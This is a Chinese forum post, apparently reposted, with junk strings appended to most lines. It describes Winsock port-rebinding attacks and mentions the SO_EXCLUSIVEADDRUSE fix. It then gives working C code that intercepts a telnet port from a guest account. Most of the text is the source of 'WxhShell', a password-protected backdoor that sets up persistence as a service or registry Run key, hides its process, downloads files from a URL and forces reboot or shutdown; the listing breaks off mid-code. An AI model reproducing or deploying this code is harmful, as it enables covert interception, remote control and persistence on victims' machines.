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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {DAwkJvb]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7 pp[kv;!G  
b5KX`r  
  saddr.sin_family = AF_INET; *pj&^W?  
}KJ/WyYW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AuSL?kZ4|Y  
*|MPYxJ<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H!HkXm"  
)J5(M`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J/=b1{d"n  
v cqL  
  这意味着什么?意味着可以进行如下的攻击: r*y4Vx7  
'Ko T8g\b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2#ypM9  
c!E+&5|n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KK/~W  
_epi[zf@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -S Z^;t  
^?w6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F~z4T/TN%G  
>|mmJ4T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .z)&#2E  
'd'*4 )]k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E2 #XXc  
XP~4jOL]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s:,BcVLx^  
Y[@$1{YS  
  #include NmVc2V]I  
  #include mam|aRzd  
  #include R 8?Xz5  
  #include    NgQ {'H[Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XoL9:s(m~  
  int main() ;}WdxWw4  
  { `TBau:ElI  
  WORD wVersionRequested; LQ373 j-  
  DWORD ret; ~O&3OL:L  
  WSADATA wsaData; !/sXG\  
  BOOL val; P]1`=-  
  SOCKADDR_IN saddr; 02SFFqm  
  SOCKADDR_IN scaddr; S"V|BU  
  int err; JM@MNS_||(  
  SOCKET s; Tgc)'8A;BN  
  SOCKET sc; cT-XF  
  int caddsize; ;y Wfb|!  
  HANDLE mt; Sycs u_je  
  DWORD tid;   [$ vAjP  
  wVersionRequested = MAKEWORD( 2, 2 ); ESL(Mf'  
  err = WSAStartup( wVersionRequested, &wsaData ); V1,O7m+F2  
  if ( err != 0 ) { I~gU3(  
  printf("error!WSAStartup failed!\n"); 7J.alV4`/  
  return -1; !*'uPw:l2  
  } Sc`W'q^X  
  saddr.sin_family = AF_INET; =T|Z[/fto  
   Tz:mj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rq:R6e  
]|@RWzA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xq` '^)  
  saddr.sin_port = htons(23); cEhwv0f!qS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uR"(0_  
  { UW8 8JA0  
  printf("error!socket failed!\n"); $ nx&(V  
  return -1; VMe~aUd  
  } "at*G>+  
  val = TRUE; %n SLe~b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7 &DhEI ^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2aNCcZw0  
  { 37Q9goMov  
  printf("error!setsockopt failed!\n"); $2~I-[  
  return -1; f4@>7K]9TA  
  } 0V }knR.l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /n"Ib )M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b<u   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VK5|w:  
MDM/~Qpj_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :U$<h  
  { Lp`q[Z*  
  ret=GetLastError(); n3SCiSr  
  printf("error!bind failed!\n"); %ZDo;l+<F6  
  return -1; H<92tP4M  
  } *VmJydd  
  listen(s,2); KU|dw^Yk  
  while(1) sL[&y'+  
  { 1\X1G>60m  
  caddsize = sizeof(scaddr); 7j8nDX<  
  //接受连接请求 }\!&3^I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _l<e>zj  
  if(sc!=INVALID_SOCKET) 8!(4;fN$j.  
  { B{hP#bYK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ei2hI  
  if(mt==NULL) *G"L]Nq#  
  { +] s"*'V$  
  printf("Thread Creat Failed!\n"); ^rO3B?_  
  break; 0p YO-@E  
  } 'Y Bz?l9  
  } 6p|*H?|It  
  CloseHandle(mt); T:p,!?kc7  
  } .KSPr  
  closesocket(s); 8+5 z-vd  
  WSACleanup(); uQIa"u7  
  return 0; WqlX'tA  
  }    ky0Fm W  
  DWORD WINAPI ClientThread(LPVOID lpParam) z~i=\/~tZ  
  { Yx>y(Whu.  
  SOCKET ss = (SOCKET)lpParam; @Fv"j9j-3G  
  SOCKET sc; {x$jGiag+8  
  unsigned char buf[4096]; jODx&dVr  
  SOCKADDR_IN saddr; tXDO@YH3S  
  long num; T1sb6CT  
  DWORD val; zkHwoAD;t8  
  DWORD ret; +nU"P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5v<X-8"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +n_`*@SE  
  saddr.sin_family = AF_INET; {ULyB$\-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g?'pb*PR  
  saddr.sin_port = htons(23); (\S/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )L fXb9}  
  { %%5K%z,R#  
  printf("error!socket failed!\n"); +o^b ,!  
  return -1; yU`"]6(@[  
  } g).k+  
  val = 100; MLf,5f;e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !|}(tqt  
  { gB BS}HF  
  ret = GetLastError(); DlIy'@ .  
  return -1; Z:7X=t =  
  } YaI8hj@}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yyCx;  
  { f-!t31?XK  
  ret = GetLastError(); 7UM!<@9\  
  return -1; WtlPgT;wE  
  } 9,g &EnvG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I[E/)R{\  
  { f7NK0kuA  
  printf("error!socket connect failed!\n"); =23JE'^=  
  closesocket(sc); M`^;h:DN^  
  closesocket(ss); \@6P A  
  return -1; _o'_ z ]  
  } j<[+vrj  
  while(1) 4|i.b?"  
  { 0`y;[qAG[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H%2Y8}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aM/sD=}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }H2<w-,+  
  num = recv(ss,buf,4096,0); 5[NF  
  if(num>0) nW?DlECo?  
  send(sc,buf,num,0); ?L.c~w;l  
  else if(num==0) XoI,m8A  
  break; =73""ry  
  num = recv(sc,buf,4096,0); /4w"akB|P  
  if(num>0) Ck<g0o6  
  send(ss,buf,num,0); MW&ww14  
  else if(num==0) -OY[x|0  
  break; Id-?her>B  
  } DSiI%_[Ud  
  closesocket(ss); B]jI^( P  
  closesocket(sc); >:7W.QLRU  
  return 0 ; --Dd'  
  } T 9lk&7W  
A'(v]w  
U-+%e:v  
========================================================== uEp v l  
n$>E'oG2 t  
下边附上一个代码,,WXhSHELL v"x{oD$R  
;533;(d* o  
========================================================== #IH7WaN  
;yh}$)^9  
#include "stdafx.h" @#sBom+K`  
|4RuT .-o  
#include <stdio.h> 7k beAJ+{  
#include <string.h> zQsu~8PX  
#include <windows.h> XHq8p[F  
#include <winsock2.h> GS1Vcav<  
#include <winsvc.h> Q 5R7se_  
#include <urlmon.h> +Fu=9j/,j  
'&_<!Nv3  
#pragma comment (lib, "Ws2_32.lib") hN% h.;s  
#pragma comment (lib, "urlmon.lib") D#lx&J.s  
Nc4e,>$]&  
#define MAX_USER   100 // 最大客户端连接数 jTjGbC]X  
#define BUF_SOCK   200 // sock buffer TM_ MJp  
#define KEY_BUFF   255 // 输入 buffer !L5[s  
("HT0 &#a  
#define REBOOT     0   // 重启 4.@gV/U(|  
#define SHUTDOWN   1   // 关机 I^'U_"vB  
N[G<&f9  
#define DEF_PORT   5000 // 监听端口 8p3pw=p  
8!e1T,:b  
#define REG_LEN     16   // 注册表键长度 =l&A9 >\  
#define SVC_LEN     80   // NT服务名长度 tF> ?]  
W/Rb7q4v  
// 从dll定义API 6.fahg?E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +{* @36A5A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `9%Q2Al  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mq7d*Bgb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [;5?=X,LD  
e [D'0L  
// wxhshell配置信息 U?dd+2^};t  
struct WSCFG { adEcIvN$  
  int ws_port;         // 监听端口 &W1{o&  
  char ws_passstr[REG_LEN]; // 口令 9p,<<5{  
  int ws_autoins;       // 安装标记, 1=yes 0=no v&CKtk!3{  
  char ws_regname[REG_LEN]; // 注册表键名 tmAc=?|Wa  
  char ws_svcname[REG_LEN]; // 服务名 q#W7.8 Z@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cB5|% @$I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q*Xp"yBTo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u#tLY/KA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4%5H<:V7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n ETm"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XO |U4 #ya  
YE#OAfj~  
}; GdN'G  
]stAC3  
// default Wxhshell configuration 2+G_Y>  
struct WSCFG wscfg={DEF_PORT, XWo=?(iA  
    "xuhuanlingzhe", <fY<.X  
    1, %dXfC!  
    "Wxhshell", ~O{sOl _<4  
    "Wxhshell", L|DSEth  
            "WxhShell Service", WFBg3#p  
    "Wrsky Windows CmdShell Service", eZ~^Z8F[6  
    "Please Input Your Password: ", x)@G+I \u  
  1, @21G[!%J  
  "http://www.wrsky.com/wxhshell.exe", ]# hT!VOd  
  "Wxhshell.exe" 9gMNS6D'b  
    }; 5p&&EA/  
G:qkk(6_#  
// 消息定义模块 ~5aq.hF1,A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,nO:Pxn|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yQQ[_1$pq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ugmg,~U~k  
char *msg_ws_ext="\n\rExit."; r>lC(x\B  
char *msg_ws_end="\n\rQuit."; E.Hw|y0_(|  
char *msg_ws_boot="\n\rReboot..."; Q}!U4!{i|p  
char *msg_ws_poff="\n\rShutdown..."; H9)$ #r6i  
char *msg_ws_down="\n\rSave to "; +nKxSjqI  
A{hwT,zV:  
char *msg_ws_err="\n\rErr!"; )F;[  
char *msg_ws_ok="\n\rOK!"; 5utMZ>%w_#  
Z@j$i\,`  
char ExeFile[MAX_PATH]; E&k{ubcT  
int nUser = 0; 9\W~5J<7  
HANDLE handles[MAX_USER]; 45` Gv  
int OsIsNt; 7`3he8@ze  
m{gK<T  
SERVICE_STATUS       serviceStatus; \$J!B&i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VHsNz WI  
%^RlE@l9  
// 函数声明 AR\1w'  
int Install(void); fTM^:vkO  
int Uninstall(void); LQYT/  
int DownloadFile(char *sURL, SOCKET wsh); Q!>8E4Z  
int Boot(int flag); tq9t(0EL  
void HideProc(void); [|~X~AO%  
int GetOsVer(void); U[~BW[[@f  
int Wxhshell(SOCKET wsl); .ao'o,|vE  
void TalkWithClient(void *cs); 5v8&C2Jy@  
int CmdShell(SOCKET sock); c4CBpi?}  
int StartFromService(void); 1N< )lZl)  
int StartWxhshell(LPSTR lpCmdLine); ~AuvB4xe~  
^r=#HQGt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /IVw}:G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,)+O.Lf7&.  
6YT*=\KT  
// 数据结构和表定义 &G55<tRE  
SERVICE_TABLE_ENTRY DispatchTable[] = & Qghm o  
{ 6m21Y8N  
{wscfg.ws_svcname, NTServiceMain}, lfR"22t  
{NULL, NULL} /B!"\0G/,  
}; \~nUk7.  
GpF,=:  
// 自我安装 >fo &H_a  
int Install(void) VIbm%b$~  
{ 9a)D8  
  char svExeFile[MAX_PATH]; Db yy H_  
  HKEY key; b]6;:Q!d  
  strcpy(svExeFile,ExeFile); />\.zuAr&  
J.":oD  
// 如果是win9x系统,修改注册表设为自启动 Z.m.Uyz{7  
if(!OsIsNt) { HkxFDU-K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I_xJ[ALdm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w`1qx;/!  
  RegCloseKey(key); O3*Vilx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -tx)7KV-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qd3B>f  
  RegCloseKey(key); @6.1EK0  
  return 0; )@Xdr0  
    } %{/0K<M  
  } ' 7>}I{Lq  
} =]7|*-  
else { CT4R/wzY7  
+C\?G/  
// 如果是NT以上系统,安装为系统服务 r3ZY` zf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #eE:hiu<v  
if (schSCManager!=0) "DWw1{ 5/  
{ oB3>0Pm*a.  
  SC_HANDLE schService = CreateService 2ok>z$Y  
  ( V0JoUyZ  
  schSCManager, Cgw#c%  
  wscfg.ws_svcname, #f/-iu=L  
  wscfg.ws_svcdisp, aqs']  
  SERVICE_ALL_ACCESS, x#dJH9NR[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @R}L 4  
  SERVICE_AUTO_START, Q+G=f  
  SERVICE_ERROR_NORMAL, $yaE!.Kc  
  svExeFile, @c$mc  
  NULL, $.kIB+K  
  NULL, T:cSv @G  
  NULL, U$VTk  
  NULL, ;?inf`t  
  NULL f{ S)wE>;  
  ); 1t!Mg{&e[x  
  if (schService!=0) 2T?t[;-  
  { u[2R>=  
  CloseServiceHandle(schService); #_7}O0?c3  
  CloseServiceHandle(schSCManager); {yVi/*;f^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D (qT$#  
  strcat(svExeFile,wscfg.ws_svcname); X+ iA"B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f$V']dOj1q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g;]2'Rj  
  RegCloseKey(key); aDza"Ln  
  return 0; )Y?H f2']  
    } Xg!Mc<wA[  
  } >YoK?e6  
  CloseServiceHandle(schSCManager); ;5y4v  
} "cJ5Fd:*  
} 3CQpe  
@292;qi  
return 1; `34[w=Zm  
} W,Dr2$V  
oL }FD !}  
// 自我卸载 z=)5M*h  
int Uninstall(void) L?KEe>;r  
{ E pM 4 +  
  HKEY key; !h9 An  
6xz&Qi7w  
if(!OsIsNt) { NX)7g}S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9M01}  
  RegDeleteValue(key,wscfg.ws_regname); {2Gp+&  
  RegCloseKey(key); +~FH'DsT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bfw>2  
  RegDeleteValue(key,wscfg.ws_regname); P!bm$h*3?  
  RegCloseKey(key); }aX).u  
  return 0;  mH?^3T  
  } %_tL}m{?  
} e1&c_"TOih  
} 5+3Z?|b  
else { I8^z\ef&  
j-{WPJa4\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8-8= \  
if (schSCManager!=0) #On1Q:d  
{ L**!$k"{5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XTW/3pB  
  if (schService!=0) y'pG'"U]_  
  { bJ. ((1$  
  if(DeleteService(schService)!=0) { R4V>_\D/  
  CloseServiceHandle(schService); cW&OVNj  
  CloseServiceHandle(schSCManager); Za}91z"  
  return 0; TS3 00F  
  } k, v.U8  
  CloseServiceHandle(schService); l^0 <a<P  
  } :syR4A WM  
  CloseServiceHandle(schSCManager); $g|g}>Sc  
} QT%&vq  
} &]z2=\^e  
|u;5|i  
return 1; V<nzThM\  
} ~=c^ Oo:  
9pjk3a  
// 从指定url下载文件 R~Xl(O  
int DownloadFile(char *sURL, SOCKET wsh) /Zv}u  
{ GB[W'QGiq  
  HRESULT hr; U}Hmzb  
char seps[]= "/"; M>I}^Zp!  
char *token; 5jjJQ'  
char *file; >) S a#w;  
char myURL[MAX_PATH]; ]Uxx_1$,  
char myFILE[MAX_PATH]; PVtQ&m$y  
.+[[m$J  
strcpy(myURL,sURL); ]m}>/2oSs  
  token=strtok(myURL,seps); ;UPw;'  
  while(token!=NULL) _&w!JzpXT  
  { 1uy+'2[Z-D  
    file=token; <<;j=Yy({`  
  token=strtok(NULL,seps); [9+M/O|Vs  
  } 4L5Wa~5\  
o-)E_X  
GetCurrentDirectory(MAX_PATH,myFILE); iSFgFJG^  
strcat(myFILE, "\\"); r2&{R!Fj`  
strcat(myFILE, file); -@#AQ\  
  send(wsh,myFILE,strlen(myFILE),0); 9U;) [R Mb  
send(wsh,"...",3,0); )(!vd!p5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hR{Fn L  
  if(hr==S_OK) }:hdAZ+z  
return 0; s@3!G+ -}  
else sHEISNj/^  
return 1; d0N7aacY  
sk],_l<  
} /D~ ,X48+  
+pjD{S~Y  
// 系统电源模块 ,g\.C+.S  
int Boot(int flag) H<FDi{  
{ l{y~N  
  HANDLE hToken; %|,j'V$  
  TOKEN_PRIVILEGES tkp; oEi +S)_  
m X2Qf8  
  if(OsIsNt) { ;2X1qw>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C(gH}N4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &2) mpY8xQ  
    tkp.PrivilegeCount = 1; .eeM&n;c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 74Kl!A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WnIh( 0  
if(flag==REBOOT) { PqP)<d '/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) myJsRb5  
  return 0; fitm*  
} ke/o11LP  
else { f 8uVk|a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v4S|&m  
  return 0; 'rCwPsI&4  
} dB1bf2'b#  
  } S:R%%cy  
  else { m*a0V  
if(flag==REBOOT) { ZsV'-gu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *~-~kv4-  
  return 0; E&"bgwav{(  
} xwz2N5  
else { &t6L8[#yd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w\\    
  return 0; 8taaBM`:  
} OY@/18D<>  
} %_/_klxnO  
KD#ip3  
return 1; \GPWC}V\s  
} m$$U%=r>@  
naAZR*(A  
// win9x进程隐藏模块 h7%<  
void HideProc(void) A).wjd(_,  
{ (F#Qunze  
]p$fEW g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p_mP'  
  if ( hKernel != NULL ) `|]juc  
  { M\T6cN@m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W;hI[9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r?[Zf2&  
    FreeLibrary(hKernel); wRWN]Vo  
  } &0N 3 p  
y|1-,u.$  
return; #&$4tTl  
} i*F^;-q)  
3tgct <"  
// 获取操作系统版本 tF=96u_X  
int GetOsVer(void) -o=qYkyLK  
{ 1o.]"~0:  
  OSVERSIONINFO winfo; = [:ruE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a7M8sZ?"  
  GetVersionEx(&winfo); iXXgPapz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PY) 74sa  
  return 1; 9v/1>rziE  
  else ON !1lS  
  return 0; eP;lH~!.0  
} RX#:27:  
3ne=7Mj  
// 客户端句柄模块 )kg^.tP  
int Wxhshell(SOCKET wsl) r_ Xk:  
{ )2:d8J\  
  SOCKET wsh;  fkYa  
  struct sockaddr_in client; y5oiH  
  DWORD myID; ?_ p3^kl  
C/lp Se  
  while(nUser<MAX_USER) H!7/U_AH  
{ R{Cj]:Ky  
  int nSize=sizeof(client); C !uwD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a N_M  
  if(wsh==INVALID_SOCKET) return 1; ,Y}HP3  
.,feRK>3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vbz$dpT  
if(handles[nUser]==0) *n}{ )Ef  
  closesocket(wsh); >a]{q^0  
else  X&(1DE  
  nUser++; %m{h1UQQ +  
  } WG1x:,-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l? 7D0  
lKwIlp  
  return 0; OBu$T&  
} 'Kc;~a  
_AK-AY  
// 关闭 socket (AV j_Cw  
void CloseIt(SOCKET wsh)  rf oLg  
{ @#;~_?$?C  
closesocket(wsh); 8BBuYY {  
nUser--; $FS j^v]  
ExitThread(0); ys09W+B7  
} ~ M@8O  
T+Du/ERL  
// 客户端请求句柄 *<]ulR2  
void TalkWithClient(void *cs) Fb.wm   
{ UG 9uNgzQ/  
%n T!u!#  
  SOCKET wsh=(SOCKET)cs; )g+~"&Gcx  
  char pwd[SVC_LEN]; 1@;Dn'  
  char cmd[KEY_BUFF]; "){"{~  
char chr[1]; P;][i|x  
int i,j; $,F1E VJ  
CO-9-sQx  
  while (nUser < MAX_USER) { qy/xJ>:  
:[,-wZiT~6  
if(wscfg.ws_passstr) { HZ )z^K?1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;MR8E9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f{G ^b&x  
  //ZeroMemory(pwd,KEY_BUFF); AwUcU;"9>  
      i=0; h 5<46!P  
  while(i<SVC_LEN) { RMDzPda.  
Wi)Y9frE  
  // 设置超时 q\/ph(HF  
  fd_set FdRead; 'H zF/RKh  
  struct timeval TimeOut; 5{L~e>oS9  
  FD_ZERO(&FdRead); <0T|RhbY   
  FD_SET(wsh,&FdRead); 5$d>:" >  
  TimeOut.tv_sec=8; cY0NQKUk~  
  TimeOut.tv_usec=0; U]ynnw4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :[kfWai#(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GO2mccIB  
*%E4 ,(T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z8%?ej`8  
  pwd=chr[0]; pE,2pT2>  
  if(chr[0]==0xd || chr[0]==0xa) { SFv'qDA  
  pwd=0; g1Ed:V]_  
  break; -U.>K,M  
  } 9sJ=Nldq  
  i++; TkBHlTa"=  
    } gNUYHNzDM(  
u%!/-&?wF  
  // 如果是非法用户,关闭 socket GRM6H|.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;G.5.q[A  
} nl5A{ s  
#oW" 3L{,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0Ta&o-e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E2K{9@i  
X|y(B%:  
while(1) { vJ9I z  
^m~&2l\N=  
  ZeroMemory(cmd,KEY_BUFF); d<K2 \:P{}  
r2yJ{j&s  
      // 自动支持客户端 telnet标准   ti'B}bH>'  
  j=0; Bs)'Gk`1  
  while(j<KEY_BUFF) { 0Un?[O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oq${}n<  
  cmd[j]=chr[0]; 3>M%?d  
  if(chr[0]==0xa || chr[0]==0xd) { B\S}*IE  
  cmd[j]=0; B>.x@(}V~  
  break;  |W_;L6)  
  } ORuC("  
  j++; K*I!:1;3N  
    } /9ctmW1!<  
@GUlw[vi  
  // 下载文件 ZP{<f~;  
  if(strstr(cmd,"http://")) { +`,;tz=?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `>)[UG!:|  
  if(DownloadFile(cmd,wsh)) 2Pow-o*r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )G#mC0?PV  
  else ];xDXQd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qYoB;gp  
  } ^G|* =~_  
  else { vMd3#@  
5EU~T.4C<  
    switch(cmd[0]) { 7UIf   
  p<1y$=zS  
  // 帮助 `+z^#3l  
  case '?': { A]Bf&+V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Jvc:)I1NE7  
    break;  bTU[E  
  } <Pzy'9  
  // 安装 Lq|>n Y  
  case 'i': { J 2<kOXXJ9  
    if(Install()) ijsoY\V50  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p8Z?R^$9H  
    else pHT]2e#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sYjhQN=Y*  
    break; jr,N+K(@T  
    } jc!m; U t  
  // 卸载 '2GnAws^  
  case 'r': { nv0\On7wd  
    if(Uninstall()) #u}%r{T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t0+i ]lr  
    else SQ_Je+X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q$uv \h;  
    break; Kci. ,I  
    } WQ{[q" O  
  // 显示 wxhshell 所在路径 `78Bv>[A  
  case 'p': { ~)^'5^  
    char svExeFile[MAX_PATH]; ;z.L^V0  
    strcpy(svExeFile,"\n\r"); |BbzRis  
      strcat(svExeFile,ExeFile); dvZH~mF  
        send(wsh,svExeFile,strlen(svExeFile),0); (:aU"5M  
    break; dgL>7X=7  
    }  D|)a7_  
  // 重启 OvAhp&k  
  case 'b': { +$|fUn{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W:,Wex^9n  
    if(Boot(REBOOT)) K>dB{w#gS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); om`T/@_,  
    else { D"rbQXR7$  
    closesocket(wsh); #MKM.T,\t  
    ExitThread(0); #=t/wAE y:  
    } Jy5sZ }t[  
    break; t%;w<1E  
    } 2 /FQ;<L  
  // 关机 O&1qL)  
  case 'd': { _bGkJ=  
